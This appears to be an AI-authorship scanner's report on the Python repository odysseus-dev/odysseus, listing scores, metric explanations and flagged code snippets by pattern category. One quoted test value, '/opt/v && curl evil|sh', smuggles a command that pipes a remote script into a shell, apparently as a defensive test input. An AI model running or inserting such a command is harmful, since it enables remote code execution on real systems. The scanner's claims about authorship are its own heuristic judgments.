odysseus-dev/odysseus

28.2

Adjusted Score

28.2

Raw Score

100%

Time Factor

2026-07-30

Last Push

84.5K

Stars

Python

Language

420.7K

Lines of Code

1.3K

Files

8.7K

Pattern Hits

2026-08-02

Scan Date

0.20

HC Hit Rate

What These Metrics Mean

Adjusted Score: Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score: The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor: The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits: Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate: High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files: Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

Longitudinal tracking requires multiple scan runs. Once this repository is re-scanned after new commits land, this chart will visualise how the synthetic code signal evolves over time — enabling you to detect whether AI authorship is growing, stabilising, or being actively corrected by human engineers.

No multi-scan history yet — run the scanner again to build trend data.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 2HIGH 259MEDIUM 848LOW 7608

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 8717 distinct pattern matches across 22 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers4341 hits · 4711 pts

Severity	File	Line	Snippet	Context
LOW	setup.py	54	def _prompt_admin_credentials():	CODE
LOW⚡	app.py	604	async def session_not_found_handler(request: Request, exc: SessionNotFoundError):	CODE
LOW⚡	app.py	608	async def invalid_file_upload_handler(request: Request, exc: InvalidFileUploadError):	CODE
LOW⚡	app.py	612	async def llm_service_error_handler(request: Request, exc: LLMServiceError):	CODE
LOW	app.py	18	def register_static_mime_types() -> None:	CODE
LOW	app.py	1213	async def _skill_audit_nightly_loop():	CODE
LOW	core/auth.py	192	def _drop_reserved_loaded_users(self):	CODE
LOW	core/auth.py	217	def _migrate_legacy_admin_role(self):	CODE
LOW	core/auth.py	506	def totp_get_provisioning_uri(self, username: str, secret: str) -> str:	CODE
LOW	core/models.py	18	def set_session_manager_instance(manager: "SessionManager"):	CODE
LOW	core/models.py	24	def get_session_manager_instance() -> Optional["SessionManager"]:	CODE
LOW⚡	core/platform_compat.py	338	def get_wsl_windows_user_profile() -> Optional[str]:	CODE
LOW	core/platform_compat.py	435	def run_wsl_windows_powershell(	CODE
LOW⚡	core/database.py	826	def _migrate_add_document_archived_column():	CODE
LOW⚡	core/database.py	850	def _migrate_add_owner_column():	CODE
LOW⚡	core/database.py	897	def _migrate_add_hidden_models_column():	CODE
LOW⚡	core/database.py	920	def _migrate_add_model_endpoint_owner_column():	CODE
LOW⚡	core/database.py	952	def _migrate_add_provider_auth_id_column():	CODE
LOW⚡	core/database.py	977	def _migrate_add_model_type_column():	CODE
LOW⚡	core/database.py	1000	def _migrate_add_model_endpoint_refresh_columns():	CODE
LOW⚡	core/database.py	1028	def _migrate_add_task_run_model_column():	CODE
LOW⚡	core/database.py	1051	def _migrate_add_supports_tools_column():	CODE
LOW⚡	core/database.py	1075	def _migrate_add_cached_models_column():	CODE
LOW⚡	core/database.py	1097	def _migrate_add_pinned_models_column():	CODE
LOW⚡	core/database.py	1120	def _migrate_add_notes_sort_order():	CODE
LOW⚡	core/database.py	1175	def _migrate_add_folder_column():	CODE
LOW⚡	core/database.py	1198	def _migrate_add_token_columns():	CODE
LOW⚡	core/database.py	1222	def _migrate_add_owner_to_table(table_name: str, index_name: str):	CODE
LOW⚡	core/database.py	1246	def _migrate_add_multiuser_owner_columns():	CODE
LOW⚡	core/database.py	1281	def _migrate_add_api_token_scopes_column():	CODE
LOW⚡	core/database.py	1309	def _migrate_assign_legacy_owner():	CODE
LOW⚡	core/database.py	1443	def _migrate_add_tidy_verdict():	CODE
LOW⚡	core/database.py	1456	def _migrate_add_doc_source_email_cols():	CODE
LOW⚡	core/database.py	1572	def _migrate_add_oauth_config():	CODE
LOW⚡	core/database.py	1584	def _migrate_add_disabled_tools():	CODE
LOW⚡	core/database.py	1596	def _migrate_add_mcp_oauth_tokens_column():	CODE
LOW⚡	core/database.py	1654	def _migrate_add_notifications_enabled():	CODE
LOW⚡	core/database.py	1667	def _migrate_add_crew_member_id():	CODE
LOW⚡	core/database.py	2151	def _migrate_encrypt_endpoint_keys():	CODE
LOW⚡	core/database.py	2175	def _migrate_encrypt_signatures():	CODE
LOW⚡	core/database.py	2207	def _migrate_encrypt_email_passwords():	CODE
LOW⚡	core/database.py	2267	def _migrate_add_calendar_origin():	CODE
LOW⚡	core/database.py	2294	def _migrate_add_calendar_account_id():	CODE
LOW⚡	core/database.py	2320	def _migrate_add_caldav_sync_columns():	CODE
LOW⚡	core/database.py	2372	def _migrate_add_calendar_recurrence_exdates():	CODE
LOW	core/database.py	781	def _migrate_add_last_message_at_column():	CODE
LOW	core/database.py	1258	def _migrate_add_gallery_caption_column():	CODE
LOW	core/database.py	1416	def _migrate_backfill_document_owner_from_session():	CODE
LOW	core/database.py	1480	def _migrate_add_task_automation_columns():	CODE
LOW	core/database.py	1633	def _migrate_drop_ping_notes_tasks():	CODE
LOW	core/database.py	1684	def _migrate_add_assistant_columns():	CODE
LOW	core/database.py	1815	def _migrate_seed_email_account():	CODE
LOW	core/database.py	2120	def _migrate_add_email_smtp_security():	CODE
LOW	core/database.py	2241	def _migrate_add_calendar_is_utc():	CODE
LOW	core/database.py	2345	def _migrate_add_calendar_metadata():	CODE
LOW	core/database.py	2481	def update_session_last_accessed(session_id: str):	CODE
LOW⚡	core/database.py	2089	def _scrub_legacy_chat_message_fts_media(conn) -> None:	STRING
LOW	core/database.py	1553	def _migrate_add_email_oauth_columns():	STRING
LOW	core/database.py	1977	def _migrate_backfill_task_folders():	STRING
LOW	core/database.py	2003	def _migrate_chat_messages_fts():	STRING
4281 more matches not shown…

Decorative Section Separators705 hits · 2606 pts

Severity	File	Line	Snippet	Context
MEDIUM	core/auth.py	258	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/auth.py	260	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/auth.py	486	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/auth.py	488	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/auth.py	571	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/auth.py	573	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/platform_compat.py	39	# ── File permissions ────────────────────────────────────────────────────────	COMMENT
MEDIUM	core/platform_compat.py	57	# ── Process detach / liveness / teardown ────────────────────────────────────	COMMENT
MEDIUM⚡	core/platform_compat.py	144	# ── Shell / executable resolution ───────────────────────────────────────────	COMMENT
MEDIUM⚡	core/session_manager.py	396	# ------------------------------------------------------------------	COMMENT
MEDIUM⚡	core/session_manager.py	398	# ------------------------------------------------------------------	COMMENT
MEDIUM⚡	core/session_manager.py	586	# ------------------------------------------------------------------	COMMENT
MEDIUM⚡	core/session_manager.py	588	# ------------------------------------------------------------------	COMMENT
MEDIUM⚡	core/session_manager.py	651	# ------------------------------------------------------------------	COMMENT
MEDIUM⚡	core/session_manager.py	653	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/session_manager.py	80	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/session_manager.py	82	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/session_manager.py	200	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/session_manager.py	202	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/session_manager.py	682	# ------------------------------------------------------------------	COMMENT
MEDIUM	core/session_manager.py	684	# ------------------------------------------------------------------	COMMENT
MEDIUM⚡	tests/test_redos_xml_tool_parsers.py	45	# ── correctness is preserved ────────────────────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_redos_xml_tool_parsers.py	118	# ── pathological inputs no longer blow up ───────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_workspace_confine.py	71	# ── the central binding: the safety net ─────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_workspace_confine.py	271	# ── get_workspace tool ──────────────────────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_workspace_confine.py	281	# ── no leak across calls ────────────────────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_workspace_confine.py	289	# ── tool selection: an active workspace is the file-work signal ─────────	COMMENT
MEDIUM⚡	tests/test_workspace_confine.py	446	# ── bind-time vetting of the workspace root ─────────────────────────────	COMMENT
MEDIUM	tests/test_workspace_confine.py	52	# ── the resolver helper ────────────────────────────────────────────────	COMMENT
MEDIUM	tests/test_workspace_confine.py	96	# ── end-to-end via execute_tool_block (sets + resets the binding) ───────	COMMENT
MEDIUM	tests/test_workspace_confine.py	425	# ── browse route is admin-gated ─────────────────────────────────────────	COMMENT
MEDIUM	tests/test_workspace_confine.py	504	# ── send-time privilege gate (no path oracle for non-admins) ────────────	COMMENT
MEDIUM	tests/test_skill_index_toolset_gating.py	15	# ── module-load stubbing (matches other tests in this repo) ──────────	COMMENT
MEDIUM⚡	tests/test_imap_leak_fixes.py	42	# ── email_helpers ──────────────────────────────────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_imap_leak_fixes.py	109	# ── email_server ───────────────────────────────────────────────────────────────	COMMENT
MEDIUM	tests/test_imap_leak_fixes.py	234	# ── connect-time leak: _imap_connect / _open_imap_connection (#3174) ──────────	COMMENT
MEDIUM⚡	tests/test_calendar_recurrence.py	16	# ── _resolve_base_uid ──────────────────────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_calendar_recurrence.py	45	# ── _expand_rrule ──────────────────────────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_security_regressions.py	117	# ── secure-by-default deployment + integration storage ─────────	COMMENT
MEDIUM⚡	tests/test_security_regressions.py	241	# ── provider auth error normalization ──────────────────────────	COMMENT
MEDIUM⚡	tests/test_security_regressions.py	278	# ── compose-upload path traversal block ─────────────────────────	COMMENT
MEDIUM⚡	tests/test_security_regressions.py	845	# ── web_fetch SSRF guard (PR #111 merge gate) ───────────────────────	COMMENT
MEDIUM	tests/test_security_regressions.py	23	# ── prompt-injection context wrapper ────────────────────────────	COMMENT
MEDIUM	tests/test_security_regressions.py	45	# ── secret_storage ─────────────────────────────────────────────	COMMENT
MEDIUM	tests/test_security_regressions.py	203	# ── _q IMAP mailbox quoter ─────────────────────────────────────	COMMENT
MEDIUM	tests/test_security_regressions.py	506	# ── require_user dependency rejects anon callers ────────────────	COMMENT
MEDIUM	tests/test_security_regressions.py	1247	# ── DNS rebinding (audit finding 8.1) ────────────────────────────────	COMMENT
MEDIUM	tests/test_skill_index_prompt_injection.py	29	# ── module-load stubbing ─────────────────────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_email_oauth.py	36	# ── OAuth state signing ──────────────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_email_oauth.py	654	# ── Password-account regression ───────────────────────────────────	COMMENT
MEDIUM	tests/test_email_oauth.py	136	# ── XOAUTH2 SASL framing ─────────────────────────────────────────	COMMENT
MEDIUM	tests/test_email_oauth.py	150	# ── Helpers for in-memory DB fixtures ────────────────────────────	COMMENT
MEDIUM	tests/test_email_oauth.py	190	# ── Token encryption at rest ─────────────────────────────────────	COMMENT
MEDIUM	tests/test_email_oauth.py	258	# ── Real OAuth callback route ─────────────────────────────────────	COMMENT
MEDIUM	tests/test_email_oauth.py	578	# ── Token refresh scenarios ───────────────────────────────────────	COMMENT
MEDIUM	tests/test_email_test_connection_oauth.py	19	# ── Helpers ───────────────────────────────────────────────────────────────────	COMMENT
MEDIUM	tests/test_email_test_connection_oauth.py	56	# ── test_connection route: OAuth awareness ────────────────────────────────────	COMMENT
MEDIUM	tests/test_tool_path_confinement.py	27	# ── Unit tests on _is_sensitive_path ──────────────────────────────────	COMMENT
MEDIUM	tests/test_tool_path_confinement.py	81	# ── Unit tests on _resolve_tool_path ─────────────────────────────────	COMMENT
MEDIUM⚡	tests/test_tool_path_confinement.py	220	# ── Integration: dispatch-level tests ────────────────────────────────	COMMENT
645 more matches not shown…

Excessive Try-Catch Wrapping1865 hits · 1560 pts

Severity	File	Line	Snippet	Context
LOW	setup.py	220	except Exception:	CODE
LOW	setup.py	267	except Exception as e:	CODE
LOW	setup.py	277	except Exception as e:	CODE
MEDIUM	app.py	208	def _stop_background():	CODE
MEDIUM	app.py	635	def _stop_background():	CODE
MEDIUM	app.py	1044	def _startup_mcp_connections():	CODE
LOW⚡	app.py	1144	except Exception as e:	CODE
LOW⚡	app.py	1151	except Exception as e:	CODE
LOW⚡	app.py	1153	except Exception as e:	CODE
LOW⚡	app.py	1260	except Exception:	CODE
LOW⚡	app.py	1265	except Exception as e:	CODE
LOW⚡	app.py	1270	except Exception as e:	CODE
LOW	app.py	112	except Exception as e:	CODE
LOW	app.py	211	except Exception:	CODE
LOW	app.py	230	except Exception:	CODE
LOW	app.py	390	except Exception as _e:	CODE
LOW	app.py	444	except Exception as _e:	CODE
LOW	app.py	454	except Exception:	CODE
LOW	app.py	522	except Exception as _e:	CODE
LOW	app.py	638	except Exception:	CODE
LOW	app.py	940	except Exception:	CODE
LOW	app.py	959	except Exception:	CODE
LOW	app.py	982	except Exception:	CODE
LOW	app.py	1027	except Exception as e:	CODE
LOW	app.py	1040	except Exception as _e:	CODE
LOW	app.py	1071	except Exception as e:	CODE
LOW	app.py	1088	except Exception as e:	CODE
LOW	app.py	1090	except Exception as e:	CODE
LOW	app.py	1107	except Exception as e:	CODE
LOW	app.py	1122	except Exception as e:	CODE
LOW	app.py	1179	except Exception as e:	CODE
LOW	app.py	1202	except Exception as e:	CODE
LOW	app.py	1219	except Exception:	CODE
LOW	app.py	1233	except Exception as e:	CODE
LOW	launcher.py	62	except Exception:	CODE
LOW	launcher.py	108	except Exception:	CODE
LOW	launcher.py	121	except Exception:	CODE
MEDIUM	launcher.py	93	def setup_system_tray(url):	CODE
LOW	core/auth.py	139	except Exception as e:	CODE
LOW	core/auth.py	155	except Exception as e:	CODE
LOW	core/auth.py	165	except Exception as e:	CODE
LOW	core/auth.py	321	except Exception:	CODE
MEDIUM	core/auth.py	121	def _load(self):	CODE
LOW⚡	core/platform_compat.py	130	except Exception:	CODE
LOW⚡	core/platform_compat.py	137	except Exception:	CODE
LOW⚡	core/platform_compat.py	140	except Exception:	CODE
LOW	core/platform_compat.py	306	except Exception:	CODE
LOW⚡	core/platform_compat.py	334	except Exception:	CODE
LOW⚡	core/platform_compat.py	346	except Exception:	CODE
LOW	core/platform_compat.py	357	except Exception:	CODE
LOW⚡	core/database.py	818	except Exception as e:	CODE
LOW⚡	core/database.py	823	except Exception:	CODE
LOW⚡	core/database.py	841	except Exception as e:	CODE
LOW⚡	core/database.py	846	except Exception:	CODE
LOW⚡	core/database.py	889	except Exception as e:	CODE
LOW⚡	core/database.py	894	except Exception:	CODE
LOW⚡	core/database.py	912	except Exception as e:	CODE
LOW⚡	core/database.py	917	except Exception:	CODE
LOW⚡	core/database.py	943	except Exception as e:	CODE
LOW⚡	core/database.py	948	except Exception:	CODE
1805 more matches not shown…

Cross-Language Confusion239 hits · 1351 pts

Severity	File	Line	Snippet	Context
HIGH	core/database.py	461	# is the historical default. When non-null, the model picker only shows	COMMENT
HIGH⚡	tests/test_document_ai_preview_refresh_js.py	44	refresh = "markdownPreviewWasVisible && _refreshMarkdownPreviewIfVisible(docId, newContent)"	CODE
HIGH	tests/test_preset_local_storage_js.py	21	}}[key] ?? null;	CODE
HIGH	tests/test_local_endpoint_api_key_js.py	59	class FormData {{ append(k, v) {{ appended.push([k, String(v)]); }} }}	CODE
HIGH	tests/test_local_endpoint_api_key_js.py	62	if (!(id in FIELDS)) return null;	CODE
HIGH	tests/test_local_endpoint_api_key_js.py	75	let _recentlyAddedEpId = null;	CODE
HIGH⚡	tests/test_calendar_utils_dates_js.py	29	addNull: _addDays(null, 1),	STRING
HIGH⚡	tests/test_calendar_utils_dates_js.py	31	shiftNull: _shiftDT(null, 1),	STRING
HIGH⚡	tests/test_calendar_utils_dates_js.py	33	localNull: _localDateOf(null),	STRING
HIGH	tests/test_llm_core_usage_finish_delta.py	5	{"delta": {"role": "assistant", "content": null}, "finish_reason": "stop"}).	STRING
HIGH	tests/test_llm_core_usage_finish_delta.py	107	# Some providers emit {"choices": [null]} as a heartbeat/keepalive chunk.	COMMENT
HIGH⚡	tests/test_llm_core_usage_finish_delta.py	119	# Chunk with both choices:[null] and usage:null — neither field should panic.	COMMENT
HIGH	tests/test_markdown_rendering_js.py	26	globalThis.window = { location: { origin: 'http://localhost' }, katex: null };	CODE
HIGH	tests/test_markdown_rendering_js.py	32	const display = !!(opts && opts.displayMode);	CODE
HIGH⚡	tests/test_cookbook_progress_signal_js.py	56	const a = computeProgressSignal('1.81G', null, '73', 'Downloading 73%\| 1.81G/2.49G [eta 0:05:11]');	CODE
HIGH⚡	tests/test_cookbook_progress_signal_js.py	57	const b = computeProgressSignal('1.81G', null, '73', 'Downloading 73%\| 1.81G/2.49G [eta 0:09:42] -');	CODE
HIGH⚡	tests/test_cookbook_progress_signal_js.py	59	const c = computeProgressSignal('2.10G', null, '84', 'Downloading 84%\| 2.10G/2.49G');	CODE
HIGH⚡	tests/test_cookbook_progress_signal_js.py	74	const s1 = computeProgressSignal(null, null, null, 'Building wheel for vllm ... compiling csrc/attention.cu');	CODE
HIGH⚡	tests/test_cookbook_progress_signal_js.py	75	const s2 = computeProgressSignal(null, null, null, 'Building wheel for vllm ... compiling csrc/cache_kernels.cu'	CODE
HIGH⚡	tests/test_cookbook_progress_signal_js.py	76	const hung1 = computeProgressSignal(null, null, null, 'Building wheel for vllm ... (no output)');	CODE
HIGH⚡	tests/test_cookbook_progress_signal_js.py	77	const hung2 = computeProgressSignal(null, null, null, 'Building wheel for vllm ... (no output)');	CODE
HIGH⚡	tests/test_slash_setup_provider_aliases.py	19	assert(zenFromCommand && zenFromCommand.url === 'https://opencode.ai/zen/v1', 'opencode zen command alias failed');	CODE
HIGH⚡	tests/test_slash_setup_provider_aliases.py	21	assert(goFromCommand && goFromCommand.url === 'https://opencode.ai/zen/go/v1', 'opencode-go command alias failed');	CODE
HIGH⚡	tests/test_slash_setup_provider_aliases.py	23	assert(zenCredential && zenCredential.provider.name === 'OpenCode Zen', 'opencode-zen credential provider failed');	CODE
HIGH⚡	tests/test_slash_setup_provider_aliases.py	26	assert(goCredential && goCredential.provider.name === 'OpenCode Go', 'opencode go credential provider failed');	CODE
HIGH	tests/test_note_reminder_email_oauth.py	61	assert "account.has_smtp_password \|\| account.oauth_provider === 'google'" in helper	CODE
HIGH	tests/test_resend_message_nondestructive.py	27	assert "const replaceFromHere = Boolean(opts && opts.replaceFromHere);" in body	CODE
HIGH	tests/test_compare_js.py	138	bad.push({name, type: typeof val, head: String(val).slice(0, 40)});	CODE
HIGH	tests/test_model_discovery_status.py	29	'"mixed_ips":{"Online":true,"HostName":"ok","OS":"linux","TailscaleIPs":[null,123,"100.1.1.3"]}'	CODE
HIGH⚡	tests/test_esc_menu_stack_js.py	57	registerMenuDismiss(() => order.push('A'));	CODE
HIGH⚡	tests/test_esc_menu_stack_js.py	58	registerMenuDismiss(() => order.push('B'));	CODE
HIGH⚡	tests/test_esc_menu_stack_js.py	87	const unregA = registerMenuDismiss(() => order.push('A'));	CODE
HIGH⚡	tests/test_esc_menu_stack_js.py	88	registerMenuDismiss(() => order.push('B'));	CODE
HIGH	tests/test_esc_menu_stack_js.py	112	const unreg = registerMenuDismiss(null);	CODE
HIGH⚡	tests/test_snap_other_layers_nonarray_js.py	44	computeSnap(null, 10, 20, {{ zoom: 1, canvasW: 800, canvasH: 600 }}),	CODE
HIGH⚡	tests/test_snap_other_layers_nonarray_js.py	46	computeSnap({{ id: 'L1', canvas: {{ width: 100, height: 50 }} }}, 12, 22, null)	CODE
HIGH⚡	tests/test_cookbook_same_host_server_profiles_js.py	27	assert "const selected = hostOrTask === _envState.remoteHost ? _selectedServer() : null;" in COOKBOOK	CODE
HIGH⚡	tests/test_cookbook_same_host_server_profiles_js.py	28	assert "const srv = selected \|\| _serverByVal(hostOrTask);" in COOKBOOK	CODE
HIGH⚡	tests/test_cookbook_same_host_server_profiles_js.py	34	assert "_serverByVal?.(_envState.remoteServerKey \|\| _envState.remoteHost \|\| '')" in DOWNLOAD	CODE
HIGH⚡	tests/test_cookbook_same_host_server_profiles_js.py	35	assert "_serverByVal?.(zombieCandidate.remoteServerKey \|\| zombieCandidate.payload?.remote_server_key \|\| _zh)" in DOW	CODE
HIGH⚡	tests/test_cookbook_same_host_server_profiles_js.py	36	assert "_serverByVal(_envState.remoteServerKey \|\| remoteHost)" in HWFIT	CODE
HIGH⚡	tests/test_cookbook_same_host_server_profiles_js.py	41	assert "_serverByVal?.(_es.remoteServerKey \|\| _es.remoteHost \|\| '')" in SERVE	CODE
HIGH⚡	tests/test_cookbook_same_host_server_profiles_js.py	42	assert "port: host ? (server?.port \|\| _getPort(host) \|\| '') : ''" in SERVE	CODE
HIGH⚡	tests/test_cookbook_same_host_server_profiles_js.py	59	assert "_serverByVal(_envState.remoteServerKey \|\| _host)" in RUNNING	CODE
HIGH	tests/test_model_sort_js.py	31	objectsNull: sortModelObjects(null),	STRING
HIGH	tests/test_copy_message_strips_thinking_js.py	43	globalThis.window = { location: { origin: 'http://localhost' }, katex: null };	CODE
HIGH⚡	tests/test_providers_mixtral_logo_js.py	22	f"console.log(JSON.stringify(providerLogo({json.dumps(model)}) !== null));"	CODE
HIGH	tests/test_tile_manager_snap_zones_js.py	29	getElementById() {{ return null; }},	CODE
HIGH	tests/test_tile_manager_snap_zones_js.py	30	querySelector() {{ return null; }},	CODE
HIGH	tests/test_tile_manager_snap_zones_js.py	55	}} : null;	CODE
HIGH⚡	tests/test_shell_routes.py	508	"/opt/v && curl evil\|sh",	CODE
HIGH⚡	tests/test_cookbook_helpers.py	363	assert 'ODYSSEUS_VLLM_BIN="$(command -v vllm 2>/dev/null \|\| true)"' in script	CODE
HIGH⚡	tests/test_cookbook_helpers.py	467	assert '_odys_py3="$(command -v python3 2>/dev/null \|\| true)"' in script	CODE
HIGH⚡	tests/test_cookbook_helpers.py	472	assert 'command -v python >/dev/null 2>&1 \|\| python() { python3 "$@"; }' in script	CODE
HIGH⚡	tests/test_cookbook_helpers.py	271	The old `{ venv_check \|\| user }` shape from #903 masked the failure:	STRING
HIGH⚡	tests/test_cookbook_helpers.py	274	`{ ! venv_check && user }` shape propagates the failure correctly.	STRING
HIGH	tests/test_provider_device_flow_js.py	36	calls.push(url);	CODE
HIGH	tests/test_provider_device_flow_js.py	55	openWindow: (url) => opened.push(url),	CODE
HIGH	tests/test_provider_device_flow_js.py	87	openWindow: (url) => opened.push(url),	CODE
HIGH	tests/test_llm_core_streaming.py	159	# call has arguments: null; the second (same delta) must still survive.	COMMENT
179 more matches not shown…

Unused Imports528 hits · 466 pts

Severity	File	Line	Context
LOW	core/auth.py	13	CODE
LOW	core/models.py	12	CODE
LOW	core/platform_compat.py	14	CODE
LOW	core/constants.py	11	CODE
LOW	core/constants.py	12	CODE
LOW	core/session_manager.py	23	CODE
LOW	core/session_manager.py	23	CODE
LOW	core/__init__.py	12	CODE
LOW	core/__init__.py	12	CODE
LOW	core/__init__.py	12	CODE
LOW	core/__init__.py	12	CODE
LOW	core/__init__.py	12	CODE
LOW	core/__init__.py	12	CODE
LOW	core/__init__.py	20	CODE
LOW	core/__init__.py	21	CODE
LOW	core/__init__.py	22	CODE
LOW	core/__init__.py	23	CODE
LOW	core/__init__.py	23	CODE
LOW	core/__init__.py	23	CODE
LOW	core/__init__.py	23	CODE
LOW	core/__init__.py	29	CODE
LOW	core/__init__.py	29	CODE
LOW	core/__init__.py	30	CODE
LOW	core/atomic_io.py	14	CODE
LOW	tests/test_redos_xml_tool_parsers.py	26	CODE
LOW	tests/test_redos_xml_tool_parsers.py	28	CODE
LOW	tests/test_redos_xml_tool_parsers.py	29	CODE
LOW	tests/test_notes_fail_closed_auth.py	27	CODE
LOW	tests/test_plain_ui_control_open_panel.py	1	CODE
LOW	tests/test_imap_leak_fixes.py	17	CODE
LOW	tests/test_session_list_owner_scope.py	12	CODE
LOW	tests/test_session_list_owner_scope.py	33	CODE
LOW	tests/test_calendar_recurrence.py	8	CODE
LOW	tests/test_security_regressions.py	1315	CODE
LOW	tests/test_run_order_report.py	9	CODE
LOW	tests/test_email_polly_imap_leak.py	41	CODE
LOW	tests/test_skill_index_prompt_injection.py	20	CODE
LOW	tests/test_skill_index_prompt_injection.py	26	CODE
LOW	tests/test_scheduler_restart_doublefire.py	15	CODE
LOW	tests/test_scheduler_restart_doublefire.py	16	CODE
LOW	tests/test_memory_routes_shim.py	15	CODE
LOW	tests/test_search_routes_shim.py	5	CODE
LOW	tests/test_imap_move_uid.py	9	CODE
LOW	tests/test_imap_move_uid.py	10	CODE
LOW	tests/conftest.py	62	CODE
LOW	tests/conftest.py	26	CODE
LOW	tests/conftest.py	27	CODE
LOW	tests/conftest.py	28	CODE
LOW	tests/conftest.py	29	CODE
LOW	tests/test_skills_manager_owner_isolation.py	24	CODE
LOW	tests/test_skills_manager_owner_isolation.py	43	CODE
LOW	tests/run_focus.py	20	CODE
LOW	tests/test_service_health_email.py	2	CODE
LOW	tests/test_carddav_password_encryption.py	2	CODE
LOW	tests/test_carddav_password_encryption.py	4	CODE
LOW	tests/test_carddav_password_encryption.py	7	CODE
LOW	tests/test_upload_handler_atomicity.py	26	CODE
LOW	tests/test_upload_handler_atomicity.py	35	CODE
LOW	tests/test_upload_handler_atomicity.py	166	CODE
LOW	tests/test_search_cache_invalidation.py	15	CODE
468 more matches not shown…

Deep Nesting469 hits · 322 pts

Severity	File	Line	Context
LOW	setup.py	239	CODE
LOW	app.py	500	CODE
LOW	app.py	1008	CODE
LOW	app.py	357	CODE
LOW	core/platform_compat.py	298	CODE
LOW	core/platform_compat.py	338	CODE
LOW	core/database.py	1309	CODE
LOW	core/database.py	1456	CODE
LOW	core/database.py	1480	CODE
LOW	core/database.py	1553	CODE
LOW	core/database.py	1613	CODE
LOW	core/database.py	1633	CODE
LOW	core/database.py	2151	CODE
LOW	core/database.py	2175	CODE
LOW	core/database.py	2207	CODE
LOW	core/session_manager.py	84	CODE
LOW	core/session_manager.py	686	CODE
LOW	tests/test_security_regressions.py	1308	CODE
LOW	tests/test_security_regressions.py	1326	CODE
LOW	tests/test_local_endpoint_api_key_js.py	27	CODE
LOW	tests/test_model_routes.py	1499	CODE
LOW	tests/test_tool_index_schema_parity.py	18	CODE
LOW	tests/test_fenced_inline_args.py	160	CODE
LOW	tests/test_task_scheduler_cancel.py	43	CODE
LOW	tests/test_task_scheduler_cancel.py	59	CODE
LOW	tests/test_null_owner_gates.py	30	CODE
LOW	tests/test_review_regressions.py	1232	CODE
LOW	tests/test_toast_dismiss_pointer_events.py	30	CODE
LOW	tests/test_toast_dismiss_pointer_events.py	51	CODE
LOW	tests/test_toast_dismiss_pointer_events.py	108	CODE
LOW	tests/test_tool_implementations_shim.py	115	CODE
LOW	tests/test_chat_route_tool_policy.py	29	CODE
LOW	tests/test_chat_route_tool_policy.py	57	CODE
LOW	tests/test_document_diff_discard_on_update_js.py	29	CODE
LOW	tests/test_webhook_trigger_auth_exempt.py	30	CODE
LOW	tests/test_gallery_endpoint_hardening.py	175	CODE
LOW	tests/test_chat_helpers_bg_tasks_tracked.py	21	CODE
LOW	tests/test_llm_core_reasoning.py	44	CODE
LOW	tests/test_diffusion_server_security.py	41	CODE
LOW	tests/tools/build_oversized_test_split_plan.py	48	CODE
LOW	…rations/claude/skills/odysseus/scripts/odysseus_api.py	52	CODE
LOW	integrations/codex/scripts/odysseus_api.py	52	CODE
LOW	scripts/import_from_vllm_recipes.py	245	CODE
LOW	scripts/diffusion_server.py	258	CODE
LOW	scripts/diffusion_server.py	342	CODE
LOW	scripts/diffusion_server.py	888	CODE
LOW	scripts/mlx_image_server.py	329	CODE
LOW	scripts/mlx_image_server.py	387	CODE
LOW	scripts/update_database.py	73	CODE
LOW	scripts/add_hwfit_models.py	251	CODE
